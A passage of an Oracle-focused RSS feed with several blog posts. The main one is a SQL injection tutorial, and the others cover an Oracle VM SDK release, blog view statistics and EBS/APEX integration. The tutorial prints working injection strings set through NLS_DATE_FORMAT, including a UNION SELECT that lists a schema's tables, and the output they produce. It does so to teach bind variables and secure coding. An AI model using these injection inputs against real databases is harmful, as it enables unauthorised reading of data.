href=&quot;http://feeds.wordpress.com/1.0/gostumble/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=juliandontcheff.wordpress.com&amp;amp;blog=14794807&amp;amp;post=2514&amp;amp;subd=juliandontcheff&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 20:50:57 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18198 at http://www.ora600.be</guid>
</item>
<item>
 <title>All about Security - SQL Injection</title>
 <link>http://www.ora600.be/news/all-about-security-sql-injection</link>
 <description>I recently did a web seminar on Oracle Database Security (you can see a &lt;a href=&quot;http://event.on24.com/r.htm?e=390461&amp;amp;s=1&amp;amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;amp;partnerref=blog1_sec_dbsecmulti&quot;&gt;replay of it here&lt;/a&gt;). &amp;nbsp;We had over 1,300 live attendees (glad I couldn&#039;t see you all - that would be scary) and the feedback was pretty good.&lt;br /&gt;&lt;br /&gt;We also received a few questions, well, actually - a lot of questions. &amp;nbsp;I&#039;m going to try to tackle them here bit by bit. &amp;nbsp;I&#039;m going to start with my favorite topic - questions centered around SQL Injection. &amp;nbsp;I&#039;ll center on the core concepts around SQL Injection in this article and then do a followup article regarding the Oracle Database Firewall - a tool useful for detecting and blocking SQL Injection attacks.&lt;br /&gt;&lt;br /&gt;During the presentation - I talked about how insidious SQL Injection is - and how hard it can be to detect. In fact, I&#039;ve written about this before, &lt;a href=&quot;http://www.oracle.com/technetwork/issue-archive/2005/05-jan/o15asktom-084959.html&quot;&gt;in this article&lt;/a&gt;. &amp;nbsp;The interesting thing about that article on injecting is the very last part of it, the section on &quot;selective system grants&quot;. &amp;nbsp;If you read that small section you&#039;ll see a comment &lt;i&gt;&quot;Note: Revised contentto prevent SQL injection for this procedure submitted by Roy Jorgensen.&quot;&lt;/i&gt;. &amp;nbsp;What that means is - the original article I submitted had a SQL Injection bug in it - right after I just spent pages going over SQL Injection! &amp;nbsp;That wasn&#039;t too embarrassing was it (it was). &amp;nbsp;But it does point out how easy it is for a SQL Injection bug to sneak into code - even when the coder knows full well what SQL Injection is and how it happens!&lt;br /&gt;&lt;br /&gt;Anyway, during the web seminar I talked about a slide I use - with a full stored procedure on it - that contains a SQL Injection bug. &amp;nbsp;I ask the audience, usually full of developers and DBAs to tell me how the code can be SQL Injected.. &amp;nbsp;I tell them right out - this code can be injected and if I were to put it in my schema and grant you execute on it - you could use this to read pretty much any table I own.&lt;br /&gt;&lt;br /&gt;I usually hear crickets at this point in time, no hands, no volunteers. &amp;nbsp;Here is the slide:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s1600/slide.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s640/slide.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Note that the input to this procedure is a binary Oracle date - it is fixed length, 7 bytes of data - the century, year, month, day, hour, minute and second. &amp;nbsp; The input is not a string, the input cannot contain things like &quot;or 1=1&quot; - typical SQL Injection attack strings. &amp;nbsp;It can only contain an Oracle date. &amp;nbsp;So - the question is - how can I &#039;trick&#039; this stored procedure into showing me anything I want to see in the schema that owns the procedure (thus bypassing any and all security the application tier might have put in place - there are no restrictions on what I can and cannot see now).&lt;br /&gt;&lt;br /&gt;Before we get there - let&#039;s talk about the bit of code that will be problematic - that is line 10. &amp;nbsp;As noted there is a double implicit conversion going on there. &amp;nbsp;That line of code is really:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Where created = to_date( to_char( p_date ) );&lt;br /&gt;&lt;br /&gt;There is an implicit to_char on the date field in order to concatenate it to the query string. &amp;nbsp;Then, at runtime there is an implicit to_date on the string we concatenated in so we can compare it to a date. &amp;nbsp;This is a very common thing I see in code all of the time (implicit conversions) - but it is pure evil. &amp;nbsp;Not only will we discover it is the cause of a SQL Injection issue - but here it is a logic bomb as well.&lt;br /&gt;First of all - by default - that to_date( to_char() ) conversion will have a side effect of effectively truncating the time component from the date field. &amp;nbsp;That is evil. &amp;nbsp;If you wanted to truncate the time off - please use TRUNC() on the date - it is much faster, more efficient, and expresses clearly that you intend to truncate the time component. &amp;nbsp;To_date(to_char()) does none of that. &amp;nbsp;Secondly - the conversion by default will also lose the century. &amp;nbsp;If you were trying to look for things created during the war of 1812 - you would lose, you cannot search for 1812 - it would become 2012 (well, right now as I write this it would be 2012 - in 38 years it will become 2112 and you won&#039;t be able to search for 2012 anymore...).&lt;br /&gt;&lt;br /&gt;Also consider that I said &quot;by default&quot;. &amp;nbsp;By default the NLS_DATE_FORMAT is DD-MON-RR (currrently, it has been different in the past!). &amp;nbsp;What happens to this code when someone decides to change it? &amp;nbsp;Your application might well start querying up entirely different data!&lt;br /&gt;So, the implicit conversion by itself is bad - but the real issue is the SQL Injection flaw. &amp;nbsp;If you just run this procedure, by default - it certainly looks OK:&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj( sysdate )&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; select *&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; from all_users&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;where created = &#039;02-FEB-12&#039;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;that looks OK - seems pretty safe - &lt;i&gt;until&lt;/i&gt;, until someone who has read the documentation comes along. &amp;nbsp;They might run your code like this:&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; alter session set&amp;nbsp; 2 &amp;nbsp;nls_date_format = &#039;dd-mon-yyyy&quot;&#039;&#039; or &#039;&#039;a&#039;&#039; = &#039;&#039;a&quot;&#039;;&lt;br /&gt;Session altered.ops$tkyte%ORA11GR2&amp;gt; exec inj( sysdate )&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; select *&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; from all_users&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;where created = &#039;02-feb-2012&#039; or &#039;a&#039; = &#039;a&#039;A.....EBRAPP.....EBRTBLS.....UTIL.....USER2.....&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;Now that is surprising, &amp;nbsp;you might not even know you could do that in an NLS_DATE_FORMAT. &amp;nbsp;It is really hard to protect against something you don&#039;t even know &lt;i&gt;you can do&lt;/i&gt;&amp;nbsp;- isn&#039;t it? &amp;nbsp;I&#039;ve had people look at that example and scoff at it - saying &quot;so what, they were allowed to see that table&quot;. &amp;nbsp;Ok, take it a step further, I&#039;d like to know what tables you own - so I can start querying them. &amp;nbsp;I&#039;ll just do this:&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; alter session set&amp;nbsp; 2 &amp;nbsp;nls_date_format = &#039;&quot;&#039;&#039;union select tname,0,null from tab--&quot;&#039;;Session altered.&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj( null )&lt;br /&gt;Select *&amp;nbsp; from all_users&amp;nbsp;where created = &#039;&#039;union select tname,0,null from tab--&#039;&lt;br /&gt;....&lt;br /&gt;Now you can see where this is going... &amp;nbsp;I find one SQL Injection bug in one procedure and I&#039;ve unlocked the entire schema. &amp;nbsp;&lt;br /&gt;So, the question now comes up - how do I protect myself from this? &amp;nbsp;What can I do to ensure I&#039;m not subject to SQL Injection in this code?&lt;br /&gt;There are two ways - the hard way and the easy way. &amp;nbsp;&lt;br /&gt;The hard way involves writing code to validate everything and having &lt;i&gt;serious&lt;/i&gt;&amp;nbsp;code reviews of any code that uses string concatenation to build their SQL statements - any code that takes a parameter as input and concatenates it to a SQL query must be read and reviewed by many people - many people who will be super critical of the code. &amp;nbsp;In this case, the resulting code would have to be:&lt;br /&gt;where created = to_date( &#039;&#039;&#039; || to_char(p_date,&#039;yyyymmddhh24miss&#039;) ||&#039;&#039;&#039;, &#039;&#039;yyyymmddhh24miss&#039;&#039;)&#039;; &amp;nbsp;&amp;nbsp;&lt;br /&gt;You need to have a coding standard that says:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;You shall &lt;i&gt;never&lt;/i&gt; use implicit conversions ever, as in never.&lt;/li&gt;&lt;li&gt;You shall &lt;i&gt;always&lt;/i&gt;&amp;nbsp;use an explicit date mask with dates, as in every single time, you will not rely on defaults (because defaults can inject you and because defaults can radically modify your logic unintentionally!)&lt;/li&gt;&lt;/ol&gt;And now you have to comb through all of your code looking for these bad practices (you should anyway - you have major logic bombs just waiting to explode in your code if you rely on default NLS settings and implicit conversions).&lt;br /&gt;The easy way however is the way to go. &amp;nbsp;The easy way is - just use bind variables! &amp;nbsp;If you use bind variables, you &lt;i&gt;cannot be SQL Injected&lt;/i&gt;&amp;nbsp;- this is true for PL/SQL, for Java, for any and all languages. &amp;nbsp;If you use bind variables you &lt;i&gt;cannot be SQL Injected - period.&lt;/i&gt;&amp;nbsp; It is that simple, really and truly. &amp;nbsp;If the code was:&lt;br /&gt;&amp;nbsp; 7 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;l_query := &#039;&amp;nbsp; 8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;select *&amp;nbsp; 9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from all_users&amp;nbsp;10 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where created = :x&#039;;&amp;nbsp;11 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;open c for l_query USING P_DATE;there is no way the end user can trick that SQL query into becoming anything other than what it is - in fact, for this example, the code should have been:&lt;br /&gt;as&amp;nbsp; &amp;nbsp;cursor c is select * from all_users where created = p_date;begin&amp;nbsp; &amp;nbsp;open c;&amp;nbsp; &amp;nbsp;...&lt;br /&gt;and nothing more - it shouldn&#039;t have even been using dynamic SQL. &amp;nbsp;In Java/C#/C++/etc - you would be using dynamic SQL and you should be using bind variables. &amp;nbsp; So, that answered all of these questions I received:&lt;br /&gt;• where can I find an illustration of SQL injection?• can u share the sql injection demo code• Can you share that SQL injection slide?• Can you show a code example of the SQL injection bug that nobody noticed during your presentations?• Can you show us or point us to the site of the example of SQL injection bug?• Is SQL injection all about binding, or is there more?&lt;br /&gt;Another question was:&lt;br /&gt;• should application layer deal with the SQL injection attacks prevention as that layer understands what the proper data access patterns look like rather then database?&lt;br /&gt;My response to that is - the application layer should definitely be aware of SQL Injection and use secure coding practices which would include:&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;i&gt;always use a bind variable unless you have an excellent technical reason not to - and then you must submit your code for review to at least five people who do not like you - they must be motivated to rip your code apart, critically review it, make fun of it - so they find the bugs.&lt;/i&gt;&lt;/blockquote&gt;However - we need to also employ defense in depth - for when the inevitable bug slips through. &amp;nbsp;When I next write about this - I&#039;ll be going over the Oracle Database Firewall - a tool that can provide at least one more layer of defense.&lt;br /&gt;The last question on this topic was:&amp;nbsp;&lt;br /&gt;• What is the dbms_assert PL/SQL package? How does it help prevent SQL injection? Should my organization be using it?&lt;br /&gt;For that - I&#039;ll just forward you onto an excellent paper on this subject written by Bryn Llewellyn. &amp;nbsp;You can &lt;a href=&quot;http://www.oracle.com/technetwork/database/features/plsql/overview/how-to-write-injection-proof-plsql-1-129572.pdf&quot;&gt;find that paper here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/11839365-159207665102454160?l=tkyte.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 20:48:48 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18197 at http://www.ora600.be</guid>
</item>
<item>
 <title>Using Oracle VM Server 3.0.3 SDK</title>
 <link>http://www.ora600.be/news/using-oracle-vm-server-303-sdk</link>
 <description>&lt;p&gt;&lt;img align=&quot;left&quot; src=&quot;http://oss.oracle.com/~honsu/Diagram/O_VM_clr.gif&quot; /&gt;We released the Oracle VM Server 3.0.3 SDK which is delivered as &lt;a href=&quot;http://www.oracle.com/technetwork/server-storage/vm/templates-101937.html&quot;&gt;Oracle VM Templates&lt;/a&gt;. The Oracle VM Server SDK Template provides an environment for third  
party drivers to be built for the Oracle VM Server for x86.  This 
environment is being provided because the Oracle VM dom0  (management 
domain) only contains a minimum set of packages, and it does  not 
provide the additional development packages needed for building  
modules.&amp;nbsp;&lt;/p&gt; 
  &lt;p&gt;With the Oracle VM Server SDK, you can easily build a device driver for Oracle VM Server 3.0.3:&lt;/p&gt; 
  &lt;p&gt;1) Set up a running Oracle VM environment including Oracle VM Manager 3.0 and Oracle VM Server 3.0. Refer to &lt;a rel=&quot;nofollow&quot; class=&quot;external-link&quot; href=&quot;http://www.oracle.com/technetwork/documentation/vm-096300.html&quot;&gt;Oracle VM Documentation&lt;/a&gt; for additional details.&lt;/p&gt; 
  &lt;p&gt;2) Download Oracle VM Server 3.0 SDK from &lt;a rel=&quot;nofollow&quot; class=&quot;external-link&quot; href=&quot;http://edelivery.oracle.com/oraclevm&quot;&gt;Oracle Software Delivery Cloud&lt;/a&gt;. Select &amp;quot;Oracle VM Templates&amp;quot; from the &amp;quot;Select a Product Pack&amp;quot; pull-down menu, and choose &amp;quot;x86 64bit&amp;quot;. Then locate the Oracle VM Server 3.0.3 SDK. Be sure to read the README.&amp;nbsp;&lt;a rel=&quot;nofollow&quot; class=&quot;external-link&quot; href=&quot;http://ca-test85.us.oracle.com/isos/OVM-3.0.3-SDK/ReadMe&quot;&gt;&lt;/a&gt;&lt;/p&gt; 
  &lt;p&gt;3) Import the Oracle VM Template for Oracle VM Server 3.0.3 SDK from 
Oracle VM Manager, and clone the VM from the imported template. Refer to
 the documentation: &lt;a rel=&quot;nofollow&quot; class=&quot;external-link&quot; href=&quot;http://docs.oracle.com/cd/E26996_01/e18549/BABIJEIA.html&quot;&gt;Managing Virtual Machines&lt;/a&gt; for specific instructions of importing the template and cloning a VM from the template.&lt;/p&gt; 
  &lt;p&gt;4) Start the VM&amp;nbsp; - connecting to VM console and provide the network setting (DHCP or static IP, hostname, etc).&lt;br /&gt;&lt;/p&gt; 
  &lt;p&gt;5) Log into the VM, download the driver and uncompress the driver source files. Then you are ready to build the driver for Oracle VM Server.&lt;br /&gt;&lt;/p&gt; 
  &lt;p&gt;Note that Oracle provides support for third party drivers which  have been 
developed by partners in the Oracle Partner Network. For  drivers 
compiled by customers or partners using the SDK but that are not  a part
 of the Oracle Partner Network, Oracle will provide a &amp;quot;reasonable  
effort&amp;quot; level of support as described by Oracle&#039;s &amp;quot;un-certified  
configuration&amp;quot; support policy. However, Oracle does not provide updates 
 for any drivers built for Oracle VM Servers that have not been  
distributed by the &lt;a href=&quot;http://linux.oracle.com/&quot; class=&quot;external-link&quot; rel=&quot;nofollow&quot;&gt;Unbreakable Linux Network&lt;/a&gt;. To become an Oracle Partner, please refer to the page of &lt;a href=&quot;http://www.oracle.com/partners/en/knowledge-zone/server-storage/virtualization-170499.html?ssSourceSiteId=otnen&quot; class=&quot;external-link&quot; rel=&quot;nofollow&quot;&gt;Oracle VM Knowledge Zone for Partners&lt;/a&gt;. &lt;br /&gt;&lt;/p&gt; 
  &lt;p&gt; &lt;/p&gt;</description>
 <pubDate>Thu, 02 Feb 2012 18:59:38 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18194 at http://www.ora600.be</guid>
</item>
<item>
 <title>Viewing Figures</title>
 <link>http://www.ora600.be/news/viewing-figures-0</link>
 <description>&lt;p&gt;It&amp;#8217;s time for another landmark. The blog has just hit 2,500,000 views (taking three weeks less than &lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2011/03/22/visitors-etc/&quot;&gt;the previous half million increment&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt;) &amp;#8211; here&amp;#8217;s a little breakdown on the numbers.&lt;/p&gt;
&lt;p&gt;First the top five across the lifetime of the blog:&lt;/p&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;&gt;

&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/statspack-examples/&quot;&gt;AWR / Statspack menu&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;40,714&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Updated from time to time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2007/02/25/not-in/&quot;&gt;NOT IN&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;33,983&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Feb 2007&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2006/12/13/cartesian-merge-join/&quot;&gt;Cartesian Merge Join&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;29,633&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Dec 2006&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2006/11/09/dbms_xplan-in-10g/&quot;&gt;dbms_xplan in 10g&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;28,831&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Dec 2006&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2007/02/11/profiles/&quot;&gt;SQL Profiles (10g)&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;21,227&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Feb 2007&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;p&gt;If we look at just the last year, the top five are:&lt;/p&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;&gt;

&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/statspack-examples/&quot;&gt;AWR / Statspack menu&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;18,782&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Updated from time to time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2007/02/25/not-in/&quot;&gt;NOT IN&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;8,916&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Feb 2007&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2006/11/09/dbms_xplan-in-10g/&quot;&gt;dbms_xplan in 10g&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;6,212&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Dec 2006&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/oracle-core/&quot;&gt;Oracle Core&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;6,181&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Dec 2011&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;20%&quot;&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/2006/11/29/analysing-statspack-pt1/&quot;&gt;Analysing Statspack (1)&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot; width=&quot;5%&quot;&gt;5,924&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Nov 2006&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;p&gt;The Cartesian Merge Join has finally been pushed off the top 5 in recent history, but perhaps that&amp;#8217;s only a temporary effect while the Addenda to Oracle Core is still fresh in people&amp;#8217;s minds. It&amp;#8217;s interesting to see how many old articles are still popular reading, though.&lt;/p&gt;
&lt;p&gt;The other statistic of note is the number of followers the blog has, currently: 828&lt;/p&gt;
&lt;p&gt;While we&amp;#8217;re looking at numbers and success stories for the 12 months &amp;#8211; the UKOUG annual conference reviews have just come in, and one of mine managed to score 5.83 out of 6 for &amp;#8220;Presentation Skills&amp;#8221; and 5.65 for content &amp;#8211; with one commentator saying:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&amp;#8220;Jonathan Lewis is a legend in Oracle circles and now, after my first session with him as speaker, I know why! This was a really well-thought out talk with loads of great ideas and info. My only criticism is that I&amp;#8217;d like to attend it again to pick up the bits I missed the first time!&amp;#8221;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Don&amp;#8217;t worry &amp;#8211; it was the one about &amp;#8220;Beating the Oracle Optimizer&amp;#8221;, 60 minutes featuring seven different strategies for optimising a two-table join, and I&amp;#8217;ll be presenting it at least a couple more times in the UK (probably 27th March and 13th June in &lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://jonathanlewis.wordpress.com/public-appearances/&quot;&gt;Manchester and Linlithgow&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;I also won two the of&lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://www.ukoug.org/what-we-offer/news/are-you-an-inspiring-presenter/&quot;&gt; UKOUG&amp;#8217;s &amp;#8220;Inspiring Presenter&amp;#8221;&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; awards this year. Not sure I&amp;#8217;ll be able to do that again next year since Connor McDonald was in town this year &amp;#8211; if you ever get a chance to hear him, make sure you don&amp;#8217;t miss it.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/jonathanlewis.wordpress.com/8206/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/jonathanlewis.wordpress.com/8206/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=jonathanlewis.wordpress.com&amp;amp;blog=491988&amp;amp;post=8206&amp;amp;subd=jonathanlewis&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 16:45:41 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18195 at http://www.ora600.be</guid>
</item>
<item>
 <title>E-Business Suite and APEX integration (overview)</title>
 <link>http://www.ora600.be/news/e-business-suite-and-apex-integration-overview</link>
 <description>&lt;a href=&quot;http://3.bp.blogspot.com/-iCC_UddOCto/Typ2IOP1OgI/AAAAAAAAGP4/EGMvje75pnc/s1600/oracle_apex_ebs_int.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;128&quot; src=&quot;http://3.bp.blogspot.com/-iCC_UddOCto/Typ2IOP1OgI/AAAAAAAAGP4/EGMvje75pnc/s320/oracle_apex_ebs_int.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;For me there are two main use cases to integrate Oracle E-Business Suite (EBS) with Oracle Application Express (APEX):&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;In my APEX application I want to include/integrate data that exist in EBS&lt;/b&gt;&lt;br /&gt;e.g. I want to include my employees that are in EBS HR&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;The EBS application needs to be customised and I use APEX to do that&lt;/b&gt;&lt;br /&gt;e.g. I want to show a calendar with the birthdays of my employees &lt;br /&gt;or I want a chart about the different age categories in my company&lt;br /&gt;or I want to bulk update some information and there is no screen to do that&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;In both cases you want things to go seamlessly, you shouldn&#039;t be aware that you go from one technology to another. APEX and EBS data are in the Oracle database, so accessing data is not a big issue. Updating data in EBS you need to be careful with, as directly updating data through tables is not allowed (supported).&lt;br /&gt;&lt;br /&gt;When I was reviewing ways to retrieve data from EBS and create/update/delete data in EBS from APEX I found a couple of methods that are interesting to explore further:&lt;br /&gt;&lt;br /&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; width=&quot;100&quot;&gt;&lt;b&gt;Retrieve data from EBS&lt;/b&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; width=&quot;100&quot;&gt;&lt;b&gt;Update data in EBS&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;1. Views&lt;/b&gt;&lt;/td&gt;&lt;td 